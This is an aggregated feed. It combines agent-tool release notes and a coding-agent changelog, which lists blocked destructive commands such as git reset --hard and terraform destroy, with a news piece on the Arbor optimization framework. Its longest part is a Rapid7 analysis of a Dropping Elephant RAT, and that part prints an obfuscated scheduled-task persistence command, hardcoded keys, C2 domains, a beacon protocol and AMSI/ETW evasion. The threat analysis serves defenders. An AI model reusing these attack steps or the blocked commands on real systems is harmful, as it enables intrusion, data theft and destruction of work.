Redact secrets in request debug dumps; withhold host metadata from public status; block exfil-shaped / suspicious MCP stdio configs before probe (#46637, #45642, #46083 — @teknium1)
Close shell-escape denylist bypass + fail-closed on missing approval module; scrub operator environment before launching cua-driver MCP; sanitize env for cron job-script subprocesses; bound TodoStore content length/count; scan REST cron prompts for parity with the agent tool (#40591, #48423, #49207, #41648, #41335 — @teknium1, @kshitijk4poor)
Bump urllib3 and PyJWT to clear CVEs; Langfuse redacts base64 data URIs instead of truncating into invalid base64 (#40179, #43322 — @teknium1)

🪟 Windows

Dashboard /chat tab via ConPTY (win_pty_bridge) + tests; resolve PowerShell host instead of bare powershell for uv install; resolve powershell.exe by absolute path so Desktop install doesn't stall (#42251, #48341, #40927 — @teknium1)
Repair stale winget registration + refresh/merge PATH; kill hermes before recreating venv to release _bcrypt.pyd lock; read HERMES_HOME from the registry when env is stale; quarantine running hermes.exe during update repair (#44084, #45120, #46772, #40409 — @teknium1)
JOB-breakaway watcher reliability + status --deep probes; handle Windows PTY stdin + detached WS frames; decode subprocess output as UTF-8; confirm-modal on native Windows (#40909, #41953, #44328, #42419 — @teknium1)

🐛 Notable Bug Fixes

Percent-encode non-ascii URL components; sanitize : in FTS5 queries so colon searches don't silently return empty (#41430, #40653 — @teknium1)
Preserve multimodal user content through crash-resilience persist; flatten multimodal content before provider sync; strip MEDIA directives from compressor input (#47907, #44738, #44708 — @teknium1)
Re-enter retry loop on genuine Nous 429 so the fallback guard runs; scope Nous tags to Nous auxiliary calls; suppress "Credit access paused" notice on free models (#45136, #45801, #43669 — @teknium1)
Cron: don't strict-scan script-injected output in no-skills jobs; resolve per-job provider "custom" to providers.custom instead of codex; repair cron ownership on container restart (#43223, #43505, #41976 — @teknium1)
(300+ issues closed this window; full per-area fix list is exhaustive — these are the highest-impact.)

↩️ Reverted in this window (not shipping)

html-artifact skill + sketch/architecture-diagram/concept-diagrams fold (#48899) — reverted (#49053); absent on main.
Cron per-job profile support reverted (#43956); a nix patchPhase workaround reverted (#42151).

👥 Contributors

A huge thank-you to everyone who contributed to this release — 245 contributors across commits, co-author trailers, and salvaged PRs.

Core

@teknium1

Top community contributors (by merged PRs)

@OutThisLife — 92 PRs (desktop app maturity (shortcuts, notifications, watch-windows, themes))
@kshitijk4poor — 60 PRs (onboarding, model picker, cron env sanitization)
@xxxigm — 27 PRs (desktop & gateway fixes)
@benbarclay — 23 PRs (gateway multiplex, Chronos cron, dashboard auth)
@helix4u — 21 PRs (gateway & installer reliability)
@austinpickett — 19 PRs (dashboard & desktop UX)
@alt-glitch — 14 PRs (usage-aware credits, Supermemory)
@ethernet8023 — 14 PRs (desktop build pipeline & Linux/Windows)
@liuhao1024 — 5 PRs (session lifecycle fixes)

All contributors (alphabetical)

@0z1-ghb, @0xdany, @0xneobyte, @0xyg3n, @1960697431, @895252509, @achaljhawar, @Adolanium, @AhmetArif0, @AIalliAI,
@aimable100, @AJ, @ak2k, @alarcritty, @AlchemistChaos, @aldoeliacim, @alelpoan, @AlexanderBFoley,
@alfred-smith-0, @ali-nld, @alt-glitch, @am423, @AMEOBIUS, @AMIK-coorporations, @annguyenNous, @ArcanePivot,
@ARegalado1, @asdlem, @ashishpatel26, @austinpickett, @banditburai, @barronlroth, @Bartok9, @basilalshukaili,
@bbednarski9, @bcsmith528, @benbarclay, @benegessarit, @benfrank241, @bionicbutterfly13, @BlackishGreen33,
@blut-agent, @bmoore210, @bpasquini, @briandevans, @BROCCOLO1D, @capt-marbles, @ccook1963, @Cdddo, @channkim,
@ChasLui, @chimpera, @chromalinx, @CiarasClaws, @claytonchew, @cnfi, @colinwren-stripe, @cresslank,
@cyb0rgk1tty, @dangelo352, @davidgut1982, @deaneeth, @definitelynotguru, @Diyoncrz18, @draix, @dschnurbusch,
@Dusk1e, @dusterbloom, @ehz0ah, @emozilla, @enesilhaydin, @erosika, @ethernet8023, @Evisolpxe, @firefly,
@flooryyyy, @flyinhigh, @foras910521-lab, @Frowtek, @ft-ioxcs, @fyzanshaik, @Ganesh0690, @gauravsaxena1997,
@giladbau, @glesperance, @GodsBoy, @goku94123, @H-Ali13381, @HaozheZhang6, @haran2001, @harshitAgr, @hbentel,
@helix4u, @HeLLGURD, @Hermes, @huangxun375-stack, @iamlukethedev, @ianculling, @IAvecilla, @iborazzi,
@infinitycrew39, @islam666, @ITheEqualizer, @itsflownium, @Jaaneek, @james47kjv, @jeeves-assistant,
@jeffrobodie-glitch, @JezzaHehn, @jiangkoumo, @jimjsong, @JimLiu, @JimStenstrom, @jmsunseri, @JoaoMarcos44,
@joel611, @JoelJJohnson, @joerj123, @johnjacobkenny, @jooray, @joshuadow, @jplew, @justinbao19, @Justlrnal4,
@Kailigithub, @kamonspecial, @kdunn926, @Kenmege, @Kewe63, @kmccammon, @konsisumer, @kristianvast,
@kshitijk4poor, @kyssta-exe, @l37525778-coder, @LaPhilosophie, @leo4226, @LeonSGP43, @liuhao1024, @Llugaes,
@loongfay, @LoongZhao, @lsaether, @m4dni5, @manishbyatroy, @MaxFreedomPollard, @maxmilian, @maxtrigify,
@mnajafian-nv, @mohamedorigami-jpg, @mollusk, @MrDiamondBallz, @mssteuer, @mvanhorn, @naqerl, @Nea74,
@necoweb3, @nepenth, @nicoloboschi, @NormallyGaussian, @OmarB97, @omegazheng, @OndrejDrapalik, @OutThisLife,
@oxngon, @OYLFLMH, @paperclip, @paulb26, @pengyuyanITYU, @PhilipAD, @pinguarmy, @plcunha, @ProgramCaiCai,
@psionic73, @qin-ctx, @qingshan89, @Que0x, @qWaitCrypto, @r266-tech, @randomsnowflake, @rbrtbn, @rewbs,
@rio-jeong, @Rivuza, @rob-maron, @rodboev, @ruangraung, @RyTsYdUp, @Sahil-SS9, @salesondemandio, @sanidhyasin,
@sarvesh1327, @sdyckjq-lab, @shannonsands, @SHL0MS, @simpolism, @sitkarev, @skyc1e, @skylarbpayne, @SNooZyy2,
@Spaceman-Spiffy, @srojk34, @sweetcornna, @synapsesx, @Tamaz-sujashvili, @tangtaizong666, @temalo, @tfournet,
@thedavidweng, @TheGardenGallery, @tim404x, @tomekpanek, @Tranquil-Flow, @tt-a1i, @tuancookiez-hub,
@underthestars-zhy, @Veritas-7, @victor-kyriazakos, @wesleysimplicio, @WolframRavenwolf, @WompaJango, @x1erra,
@xiaoxinova, @xtymac, @xushibo, @XVVH, @xxchan, @xxxigm, @xy200303, @y0shua1ee, @yanxue06, @yatesjalex,
@YLChen-007, @yoniebans, @youjunxiaji, @yubingz, @zakame, @zapabob, @zccyman, @zimigit2020, @ziwon, @zwcf5200,
@zxcasongs.

Full Changelog: v2026.6.5...v2026.6.19

The RAM crisis just killed Nothing’s next budget phone — CMF Phone 3 Pro scrapped as co-founder says ‘we can't build a phone that feels like a genuine step forward’

Fri, 19 Jun 2026 12:32:48 +0200

AI has a lot to answer for, with the ongoing RAM crisis now leading to no new CMF phones this year.

v2.1.183

Fri, 19 Jun 2026 03:50:11 +0200

What's changed

Improved auto mode safety: destructive git commands (git reset --hard, git checkout -- ., git clean -fd, git stash drop) are now blocked when you didn't ask to discard local work, git commit --amend is blocked when the commit wasn't made by the agent this session, and terraform destroy/pulumi destroy/cdk destroy are blocked unless you asked for the specific stack
Added a warning when the requested model is deprecated or automatically updated to a newer model, shown on stderr in print mode (-p) and now also covering models set in agent frontmatter
Added attribution.sessionUrl setting to omit the claude.ai session link from commits and PRs in web and Remote Control sessions
Added /config --help to list all available shorthand keys for /config key=value
Changed /config toggle behavior: Enter and Space both change the selected setting, and Esc now saves and closes instead of reverting
Removed the startup "setup issues" line under the logo — run /doctor to see configuration issues or use --debug
Fixed thinking.disabled.display: Extra inputs are not permitted 400 errors on subagent spawns and session-title generation for affected configurations
Fixed WebSearch returning empty results in subagents
Fixed the terminal cursor being stranded above the prompt after navigating history in vim mode with the native cursor enabled
Fixed fullscreen TUI corruption (statusline mid-screen, duplicated spinner rows, merged text) in Windows Terminal under heavy nested-subagent load
Fixed turns silently completing with no visible output when the model returned only a thinking block; Claude now re-prompts once
Fixed user-level skills appearing multiple times in slash-command autocomplete when multiple plugins are enabled
Fixed MCP servers requiring authentication exposing auth-stub tools to the model in headless/SDK mode
Fixed tmux teammate panes failing to launch when the shell has slow rc-file initialization, and keystrokes typed during agent spawn leaking into the new tmux pane instead of the leader prompt
Fixed background tasks started by a teammate being killed when the teammate finishes a turn
Fixed scheduled task and webhook trigger deliveries being treated as keyboard input; they now classify as task notifications and can no longer approve a pending action or set the session title in auto mode
Fixed focus mode showing "Ran N PostToolUse hooks" timing lines under each response

New AI optimization framework beats Claude Code and Codex by 2.5x on the same compute budget

Thu, 18 Jun 2026 20:16:43 +0200

Imagine your engineering team just deployed an AI agent to search through internal company documents and answer employee questions. It works perfectly in development, but in production, it consistently hallucinates or misses key constraints. Fixing this is rarely a simple patch. It requires a tedious, trial-and-error process of tweaking chunking strategies, retrieval methods, and system prompts simultaneously. Because these adjustments are entangled, it becomes nearly impossible to attribute which specific tweak actually solved the problem.

To address this challenge, researchers at Renmin University of China and Microsoft Research introduced Arbor, a framework that upgrades AI-driven research and optimization from a sequence of trial-and-error guesses into a cumulative learning process. Arbor organizes hypotheses, experiments, and insights into a tree that helps the system learn from prior failures to make smarter, verified improvements over time.

In practical tests, Arbor delivered more than 2.5 times the verifiable performance gains of standard AI coding agents across real-world engineering tasks while operating under the same resource budget.

For enterprise AI, this technique directly translates to automating the continuous improvement of complex, real-world engineering systems.

Understanding the bottleneck in autonomous optimization

As large language models and AI systems become more capable, they are expected to carry out more complex operations such as autonomous optimization (AO) of software systems such as agent harnesses or model training algorithms.

AO captures the fundamental loop of autonomous research. An AI agent starts with an initial mutable artifact, such as a machine learning codebase or data pipeline, and a specific objective. The agent's goal is to iteratively improve this artifact through experimental feedback without step-by-step human supervision.

The main challenge of AO is often misunderstood. Many engineering teams find that simply giving a coding agent more time or compute to optimize a codebase doesn't lead to better results. "Automation can keep an AI working for a very long time — but a loop is not the same as progress," Jiajie Jin, co-author of the paper, told VentureBeat. "If the goal is vague, or the metric is easy to hack, long-running automation often just produces 'improvements' faster that nobody actually wants."

Jin explains that complex tasks take many attempts to get right, and standard agent architectures are missing the critical data structure to maintain state. "How do you make sure the insight and experience from each attempt actually accumulate, instead of getting lost in a scrollback buffer?" he said. Without this structure, agents simply repeat the same mistakes.

Current agent systems can run experiments for many hours against well-specified goals: editing code, invoking tools, running tests autonomously. But they treat each attempt in isolation, missing the structural mechanisms that would let them accumulate and act on what they've learned.

They lack the capacity to simultaneously maintain and compare multiple competing research directions. Without this, they cannot interpret both successes and failures to reshape their future exploration, which is the core mechanism that makes human research cumulative.

General coding agents typically rely on conversation transcripts for their memory. Because AO tasks span hundreds of turns and easily exceed context window limits, these agents struggle to preserve and reuse factual evidence over long histories. As a result, they lose the overarching structure of the research process and are prone to stalling on early failures or chasing noisy evaluation swings. The system needs a structured, durable memory that records what directions have been tried, what factual evidence was produced, and how each result changes the space of future hypotheses.

Existing frameworks are also prone to reward hacking and overfitting to development metrics. This makes them create the illusion of progress without producing improvements that transfer to real-world performance.

Finally, general-purpose coding agents typically chain their tool calls on a single shared working tree. This architectural limitation prevents them from testing parallel hypotheses in isolated environments without corrupting the main codebase or obscuring which hypothesis caused a specific outcome.

The Arbor framework

Arbor solves the challenges of AO with a framework that automates the long-horizon loop of exploration, experimentation, and abstraction that characterizes human research. Arbor separates the strategic direction of research from the ground-level coding tasks with two key components:

The coordinator: A long-lived AI agent that acts like a principal investigator. It never directly edits the target codebase. Instead, it owns the general state of the optimization research, observes accumulated evidence, comes up with new hypotheses and directions to explore, and decides what to do with the results of experiments.

Executors: Short-lived, highly focused AI agents. When the coordinator wants to test an idea, it spins up an executor and places it in an isolated environment, essentially a fresh git worktree. Each executor is handed one hypothesis. It implements the assigned idea, runs evaluations, debugs errors, and reports back to the coordinator with the results and created artifacts.

These two components collaborate through a mechanism that the researchers call “Hypothesis Tree Refinement” (HTR). HTR represents the entire research process as a persistent, branching tree where every node binds together four things: a hypothesis, the executable artifact, the factual evidence produced, and a distilled insight. This means the coordinator can explore multiple competing directions at the same time without losing its place.

The coordinator builds the tree by placing broad ideas near the root, while concrete refinements branch out as leaves. This allows Arbor to safely explore multiple competing hypotheses simultaneously. If an executor's experiment fails, the tree records why it failed as a negative constraint, ensuring the system doesn't endlessly repeat the same mistake.

To understand why Arbor's isolation matters, consider a common enterprise scenario: optimizing a Retrieval-Augmented Generation (RAG) pipeline for an internal AI assistant. "When you ask a single agent like Claude Code or Codex to 'improve accuracy,' it will typically change a bunch of things in one pass — chunking, the prompt, the retrieval method," Jin said. This entangles the changes, making it impossible to attribute which one actually helped. It also directly mutates the repository without isolation.

Arbor solves this by treating each lever as a separate hypothesis. Chunking becomes one branch, retrieval another, and the prompt another — each implemented and evaluated in its own isolated git worktree. "So you get clean attribution: 'constraint decomposition on the retrieval side gave +X; breadth-first search actually hurt,'" Jin said.

When an executor returns a report, the coordinator writes the evidence to the tree and backpropagates the insight upward to parent nodes. This means a local observation becomes a generalized constraint that shapes the coordinator's future idea generation.

To prevent reward hacking or overfitting to the development data, HTR enforces a strict “merge gate.” Even if an executor reports a fantastic development score, the coordinator will spin up an isolated worktree to test the candidate against a held-out test evaluator. The artifact is only merged into the current best trunk if it demonstrably improves the test score, verifying that the progress is real.

Arbor generally falls under the concept of "loop engineering," popularized by industry figures like OpenClaw creator Peter Steinberger and Claude Code lead Boris Cherny. The idea is to move beyond single prompts to design iterative cycles (observe, reason, act, verify) that drive autonomous agents. However, as Jin points out, "A loop can fill up with messy, untraceable attempts, and you end up with nothing to show and no way to reconstruct what changed."

Arbor in action

The researchers evaluated Arbor on an autonomous optimization task suite built from real-world research settings and the MLE-Bench Lite machine learning engineering benchmark. The AO suite featured tasks from different areas of AI development, including model training, harness engineering, and data synthesis.

The researchers used different backbone models for the coordinator and executor agents, including Claude Opus 4.6, GPT-5.5, and Gemini-3-Flash. They tested Arbor against the strongest coding agents, Codex and Claude Code. Arbor and the baselines were given the same resources. For the MLE-Bench Lite tasks, Arbor was also compared against top-tier agentic research systems like AI-Scientist, ML-Master, and AIDE.

Arbor consistently outperformed the baselines. It achieved the best held-out test result on all tasks, attaining more than 2.5 times the average relative gain of Codex and Claude Code. On the BrowseComp task, which involves optimizing a search agent, Arbor improved the system's held-out accuracy from a baseline of 45.33% to 67.67%. Meanwhile, Codex and Claude Code stalled at 50% and 53.33%, respectively. On MLE-Bench Lite, when equipped with GPT-5.5, Arbor achieved the strongest result among all benchmarked systems.

Arbor proved to be resilient against overfitting. For example, during the Terminal-Bench 2.0 task experiments, Claude Code achieved a high development score of 75 but its score dropped to 71 on the held-out data. Arbor had a lower development score of 72.22 but achieved the highest held-out score of 77.36, ensuring its results transfer to real-world applications.

Arbor also showed generalization in a cross-task transfer experiment. After Arbor finished optimizing the search harness for the BrowseComp task, researchers took the optimized codebase and tested it on two unrelated search-agent tasks, HLE and DeepSearchQA. Arbor's optimized codebase significantly improved performance on those unseen tasks as well.

Deploying Arbor: Sweet spots and hidden costs

For engineering leads looking to drop Arbor into their existing tech stack, the framework is designed to sit on top of existing Git workflows rather than replacing them. "Its output is an ordinary git branch that your existing code review, CI, and human review can inspect directly," Jin said. Only verified gains are merged into a per-run trunk, leaving the main repository untouched until a developer manually chooses to promote the code.

However, deploying Arbor comes with specific tradeoffs. Jin points out that the biggest catch is token cost, as maintaining a long-lived coordinator that continuously manages the tree and dispatches executors is the dominant expense. Running multiple isolated worktrees concurrently also requires genuine compute and disk resources to process real experiments.

So where is Arbor's sweet spot? According to Jin, it excels at tasks with a clear, trustworthy metric, tolerance for a long time horizon, and a real search space with several plausible directions, such as pipeline optimization, data-synthesis quality, and model-training recipe tuning.

Conversely, teams should explicitly avoid using Arbor for real-time latency tasks, obvious one-line fixes, or when the underlying evaluation metric is flawed. The quality ceiling of the entire run is strictly bounded by the quality of the evaluator. "If the metric isn't trustworthy, Arbor will just optimize toward an untrustworthy result faster," Jin said.

Jin sees the next evolution going beyond single scalar metrics. "A natural evolution is to have each node's artifact carry a vector — accuracy, latency, cost — instead of a single score," Jin said. "Going from a single scalar to a multi-objective Pareto search is a very natural extension of the framework."

NEA’s Tiffany Luck says enterprises are still figuring out their AI ROI

Wed, 17 Jun 2026 22:18:23 +0200

Tokenmaxxing was the hottest trend in Silicon Valley earlier this year, with CEOs encouraging employees to push AI usage as far as it would go. Then the bill came due. Uber reportedly blew through its annual AI budget in a few months, some companies cut Claude licenses for parts of their org, and Meta killed its internal leaderboard. This tension between […]

Malware à la Mode: Tracking Dropping Elephant Tradecraft Through a China-Themed Loader Chain

Wed, 17 Jun 2026 13:52:26 +0200

Executive summary

Rapid7 researchers have identified a sophisticated malware campaign attributed to the threat actor "Dropping Elephant," characterized by the use of a China-themed decoy document to deliver a heavily reworked, in-memory remote access trojan (RAT). This campaign demonstrates advanced evasion techniques, including DLL side-loading with a legitimate Microsoft binary (Fondue.exe) and the use of "Donut" shellcode to map the RAT directly into memory, effectively bypassing traditional disk-based security controls.

The revamped RAT significantly complicates detection by using control-flow flattening, runtime API reconstruction, and hardened C2 communications. Despite these modifications, Rapid7's deep analysis confirms this activity is a direct evolution of Dropping Elephant's tradecraft, based on shared beaconing patterns, screenshot logic, and command-handler structures. This discovery underscores the importance of proactive threat hunting and memory-level visibility in detecting modern, low-footprint implants.

Rapid7 is actively monitoring the infrastructure and tradecraft associated with this actor so we can provide comprehensive protection and intelligence to our customers.

Defenders should not rely on the IOCs alone. The most durable detection opportunities in this campaign are the behaviors: a shortcut file spawning PowerShell, files staged in C:\Users\Public\, a scheduled task named GoogleErrorReport executing every minute, and Fondue.exe loading APPWIZ.cpl from C:\Users\Public\ rather than a legitimate Windows directory.

Because the final RAT is loaded directly into memory through Donut, defenders should also review whether their endpoint tooling can detect memory-resident payloads and security-control patching within a process, including AMSI, WLDP, and ETW tampering.

Overview

During a proactive threat hunt, Rapid7 identified a malicious Windows shortcut that matched activity previously associated with Dropping Elephant. The shortcut used a China energy-sector contract lure and led to a payload chain that shared the family’s delivery patterns but ended in a substantially reworked RAT.

The decoy document was a contract completion and acceptance notice for the GRES-3 project and referenced delivery of industrial seawater circulation pump systems. Because the final payload differed significantly from known samples, Rapid7 analyzed the chain from the initial shortcut through the final in-memory RAT.

Luckily, during the analysis, the staging server was active which allowed us to download all attack artifacts. The recovered files use Fondue.exe, a legitimate Microsoft binary, to side-load a malicious loader. The loader decrypts an AES-wrapped payload stored on disk. The decrypted payload contains a Donut shellcode loader that embeds the final RAT and uses Chaskey block cipher as part of its payload protection scheme. Donut then decrypts the final 32-bit native RAT, maps it, and executes it in memory.

We found that the final RAT differs significantly from older Dropping Elephant RAT samples. The malware uses control-flow flattening, runtime API reconstruction, and static CRT linking to complicate analysis. It also hardens C2 communications through HTTPS transport, Salsa20-protected C2 fields, and additional environment checks. Despite these changes, code-level comparison still identifies shared lineage with a Dropping Elephant RAT reference sample through command-handler structure, screenshot capture logic, WININET request flow, beaconing patterns, and repeated buffer constants.

Technical analysis and observed attacker behavior

Figure 1: Full delivery chain from LNK to in-memory RAT

⠀

Stage 1: GRES3001.lnk

The attack starts when a user executes GRES3001.lnk, a malicious Windows shortcut disguised as a PDF. When opened, the shortcut spawns an obfuscated PowerShell downloader using conhost.exe. The PowerShell uses basic string-splitting obfuscation (e.g., iw''r, g''c''i, r''e''n, c''p''i, and &(g''cm sch*)) to evade keyword detection.

The downloader connects to the staging server chinagreenenergy[.]org and retrieves the decoy GRES3001.pdf along with additional malware files. It immediately opens the China energy-sector lure document to distract the victim while staging the remaining payloads in the background.

Figure 2: GRES3001.lnk structure showing conhost.exe proxy, Edge icon spoof, and embedded PowerShell downloader

⠀

Figure 3: GRES-3 contract completion decoy document used as victim lure

⠀

Stage 2: Payload staging

Several payload files are downloaded with junk extensions such as .ezxzez, .cypyly, and .dzlzlz, then renamed by stripping filler characters to reconstruct Fondue.exe, APPWIZ.cpl, msvcp140.dll, and vcruntime140.dll in C:\Users\Public\. The encrypted payload editor.dat is written to the C:\Windows\Tasks\ folder.

File	Path	Description	SHA
GRES3001.pdf	C:\Users\Public\	Decoy document	56d656d684077e7b3231393f5464447cdc8eea81b6415c5f010bc52f0c8cb317
Fondue.exe	C:\Users\Public\	Legitimate Microsoft side-loading host	b58351ead08db413ca499cfeb1b1091ed8bfd68f4089605e452fa01ed46f42b1
APPWIZ.cpl	C:\Users\Public\	Malicious loader DLL	914da75a4ad6d70db856a2bc318d8828f28894622f017ee78d470b4794faafa6
editor.dat	C:\Windows\Tasks\	Base64 text wrapping AES-256-CBC ciphertext	a5e448af73b0ff6b6fcfe6ef7808120e1fd7e5c4c9b4edd68e1c980e5ea3406b

Table 1: Files retrieved from the stager server

After staging the files, the script creates a scheduled task named GoogleErrorReport, configured to run Fondue.exe every minute. It then deletes the original shortcut, leaving the scheduled task to trigger the next execution stage through the Fondue.exe side-loading chain.

&(gcm sch*) /create /Sc minute /tn GoogleErrorReport /tr "$b\Public\Fondue"

Figure 4: Scheduled task creation command using gcm sch* obfuscation

Stage 3: DLL side-loading

The Fondue.exe loads the malicious APPWIZ.cpl staged alongside it in the C:\Users\Public\ directory. The side-loaded APPWIZ.cpl exports RunFODW, the function expected by Fondue.exe. RunFODW serves as the loader entry point and continues the payload chain by reading and decrypting editor.dat.

Stage 4: Encrypted payload and Donut loader

APPWIZ.cpl sha256: 914da75a4ad6d70db856a2bc318d8828f28894622f017ee78d470b4794faafa6, original name for the metadata is bluetooth_callback.dll.

Figure 5: APPWIZ.cpl PE metadata showing original filename bluetooth_callback.dll

⠀

It reads editor.dat, Base64-decodes it, and decrypts the result with AES-256-CBC via Windows CNG (bcrypt.dll). The 32-byte key and 16-byte IV are assembled on the stack from immediate mov operands:

KEY (32B): 1f1e1d1c1b1a101108090a0b0c0d0e0f00020405040102031011121415181611

IV (16B): 000803030902060708090a0b0c0d0e0f

The loader maps the shellcode into an RWX memory region using VirtualAlloc followed by memcpy call. Then it transfers execution indirectly by passing the shellcode address as the callback argument to EnumUILanguagesW.

Figure 6: EnumUILanguagesW callback proxy transferring execution to Donut shellcode

⠀

The decrypted output is a Donut shellcode blob, not the final RAT. Donut uses Chaskey-CTR to protect the embedded PE, maps it in memory, resolves imports, applies relocations, and transfers execution without writing the RAT to disk. Before running the payload, Donut patches AMSI, WLDP, and ETW inside the current process, reducing in-memory scanning, code-integrity checks, and event telemetry for the unpacked RAT.

The final payload is a native 32-bit C++ implant SHA 7099c33933716c00c1f4bdb0281c230b981c76b23d7d1c83abc6f58968267d54. It runs entirely in memory after the Donut stage maps it. At startup, the RAT first calls FreeConsole() to detach from any console so nothing shows up on screen. After that, it resolves its required APIs dynamically through a LoadLibrary / GetProcAddress loop. After API resolution, the RAT stages its crypto and builds C2 hostname, gcl-power[.]org. The cipher is Salsa20, and the key material is hardcoded. It is a 32-byte key tn9905083tfbsxqrxs7qe4ryw1nif8h1 with 8-byte nonce lPvymwIk. Next, it calls sub_40F4A0 subroutine which walks the running process list and checks each entry against a built-in list of debuggers, sandbox tools, and VM artifacts. During debugging, we observed the process scan, however, the implant continued normally, without killing security processes.

Both the process scan and public-IP geolocation check executed during dynamic testing without triggering self-termination. The RAT still reported the full process list in the mkeoldkf beacon field, exposing debuggers, sandbox tools, and other analysis artifacts to the operator.

After process scan, the malware creates a mutex “kshdkfhskdfjkhsdkfhsjkdfhkj” to prevent reinfection and reduce duplicate-process noise.

Finally, the RAT fingerprints the host, derives its bot ID, and enters sub_415750(), where it begins polling for commands from the C2 server. Unfortunately, during the analysis the C2 was already down.

Host fingerprinting

Before beaconing, the RAT collects seven fields describing the victim host and packs them into the registration POST body:

Field	Meaning
umnome	Username
pmjodf	Computer name
idkdfjej	Bot ID / cid
vrjdmej	OS version
ndlpeip	Public IP and country
cokenme	Country
mkeoldkf	Full running-process list

Table 2: RAT registration beacon fields and their meaning

During fingerprinting, the RAT makes a one-time call to api.ipify.org to learn the host's own public IP, then passes that IP to ip2c.org to resolve the country. The user-agent used in the recon phase is Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 . The bot ID is not hardcoded. It is derived at runtime from the host and submitted in the idkdfjej field. Each field is independently wrapped as base64url(Salsa20(base64url(value))).

Command and control

The RAT periodically sends HTTPS POST requests to the C2 server on port 443 (INTERNET_FLAG_SECURE). It uses a 23-character token, RRn926EmIRfm9IlJyP1yVO2 for C2 traffic to gcl-power[.]org. Each beacon loop iteration follows the same pattern:

POSTs dine= to the command-poll endpoint /prjozifvkpkfhkr/gedhagammgjvvva/;
blocks on InternetReadFile while waiting for a task;
treats MMMMM==YYYYY as the idle sentinel, sleeps for approximately three seconds, and re-polls;
C2 tasks are wrapped in < > ( ) * delimiters. The RAT strips these characters and decodes the payload back to the original command using base64url(Salsa20(base64url(value))) again.

Figure 7: RAT beacon loop showing connectivity check, command poll, and idle sentinel handling

⠀

Each cycle, the RAT first confirms the host is actually online by quietly pinging google.com, yahoo.com, and cloudflare.com. Only if that succeeds does it beacon to its C2. When all's well it checks in every 10 seconds and if a check-in fails it retries every 2 seconds, until it recovers.

Operator capabilities

During our analysis we confirmed 5 command handlers.

Token	Capability	Behavior
fl	Directory listing	Recursively enumerates files
dw	Download and execute	Fetches a file, writes it to disk, and runs it
sc	Screenshot	Captures the virtual screen with BitBlt, encodes it with WIC, and exfiltrates it to a dedicated endpoint. This behavior is command-gated, not periodic.
cmx	Shell execution	Runs cmd.exe /c chcp 65001 \| and captures stdout
uf	File upload	Exfiltrates a specified file

Table 3: Confirmed RAT command handlers with dispatch tokens and behavior

The RAT identifies tasks by looking for command tokens in the C2 response. Each token is followed by the delimiter ==zz==oo==pp==. For example, fl==zz==oo==pp== tells the RAT to run the file-listing handler.

Anti-analysis

The RAT uses several anti-analysis techniques, including control-flow flattening, opaque predicates, dynamic API resolution, stack-built strings, static CRT linking, process blacklist checks, CPUID hypervisor checks, VM artifact checks, and public-IP geolocation checks.

Figure 8: Control-flow flattening dispatcher skeleton in decompiler output

⠀

During dynamic testing, the process scan and public-IP geolocation checks are executed without triggering self-termination. The RAT built its registration beacon with the full process list in the mkeoldkf field and attempted to send it to gcl-power[.]org. The connection returned HTTP 522, so the beacon did not reach the origin server during testing. Based on this run, we can confirm the environment checks and reporting behavior. Unfortunately, we cannot determine whether the operator would have killed the session, continued tasking, or taken another action after receiving the process list. The full list of processes and security tools cancould be found in the IOCs section below.

Attribution

To test whether the RAT delivered by Donut was related to Dropping Elephant, we compared it with a known family sample documented by Arctic Wolf in July 2025: SHA-256 8b6acc087e403b913254dd7d99f09136dc54fa45cf3029a8566151120d34d1c2. That report provides the family context for the reference sample.

BinDiff produced low signal, with 8.6% overall similarity. We do not treat this as evidence against shared lineage. The new sample uses control-flow flattening, which changes the control-flow graph structure that BinDiff depends on. Therefore we also compared the samples with Diaphora, using pseudocode and AST-level features less affected by control-flow flattening.

Diaphora identified four function-level overlaps that pointed to a shared code usage.

Functionality	Shared traits
Command execution	Similar allocation, encoding, formatting, and POST structure; repeated use of the 0x2710 buffer constant
Screenshot handling	Same GDI screenshot pattern, including GetSystemMetrics values 78 and 79 and BitBlt with 0xCC0020; the newer sample uses WIC instead of GDI+ for encoding
C2 connection	Same WININET request flow: open, connect, open request, send request, read response; the newer sample moves from HTTP to HTTPS with INTERNET_FLAG_SECURE
Shell execution	Shared hidden-window execution and cmd.exe /c chcp 65001 output-capture pattern

Table 4: Code-level overlaps between editor.extracted.exe and old_rat.exe identified by Diaphora

The LNK lure and delivery chain also resemble prior Dropping Elephant reporting, including PowerShell staging, legitimate binary abuse, scheduled task persistence, extension manipulation during downloads, and DLL side-loading. These overlaps supported the initial hypothesis, but the payload comparison provides the primary evidence for the lineage assessment.

Mitigation guidance

MITRE ATT&CK techniques

Tactic	Technique	Observable
Initial Access	Phishing: Spearphishing Attachment [T1566.001]	Malicious GRES3001.lnk used as the initial lure artifact; no email artifact recovered
Execution	User Execution: Malicious File [T1204.002]	User opens GRES3001.lnk
Execution	Command and Scripting Interpreter: PowerShell [T1059.001]	LNK launches conhost.exe, which starts the PowerShell downloader
Execution	Command and Scripting Interpreter: Windows Command Shell [T1059.003]	RAT cmx handler runs cmd.exe /c chcp 65001 \|
Persistence	Scheduled Task/Job: Scheduled Task [T1053.005]	GoogleErrorReport runs C:\Users\Public\Fondue.exe every minute
Defense Evasion	Hijack Execution Flow: DLL Side-Loading [T1574.002]	Fondue.exe loads the malicious APPWIZ.cpl staged alongside it
Defense Evasion	Masquerading: Match Legitimate Name or Location [T1036.005]	Edge icon spoofing, GoogleErrorReport task name, staging in C:\Users\Public\
Defense Evasion	Obfuscated Files or Information [T1027]	Junk file extensions, string splitting, encrypted payload container, encoded C2 fields
Defense Evasion	Reflective Code Loading [T1620]	Donut maps the final PE in memory without writing it to disk
Defense Evasion	Impair Defenses: Disable or Modify Tools [T1562.001]	Donut patches in-process AMSI and WLDP functions before payload execution
Defense Evasion	Virtualization/Sandbox Evasion: System Checks [T1497.001]	CPUID, VM artifact, process blacklist, and public-IP geolocation checks
Discovery	Process Discovery [T1057]	RAT enumerates running processes and sends the process list in mkeoldkf
Discovery	System Information Discovery [T1082]	RAT collects username, computer name, OS version, and host profile fields
Discovery	System Network Configuration Discovery [T1016]	RAT obtains public IP through api.ipify.org
Discovery	System Location Discovery [T1614]	RAT queries ip2c.org for country/geolocation
Discovery	File and Directory Discovery [T1083]	fl handler enumerates files
Collection	Screen Capture [T1113]	sc handler captures the virtual screen with BitBlt and encodes it with WIC
Collection	Data from Local System [T1005]	uf handler exfiltrates files; fl handler lists local files
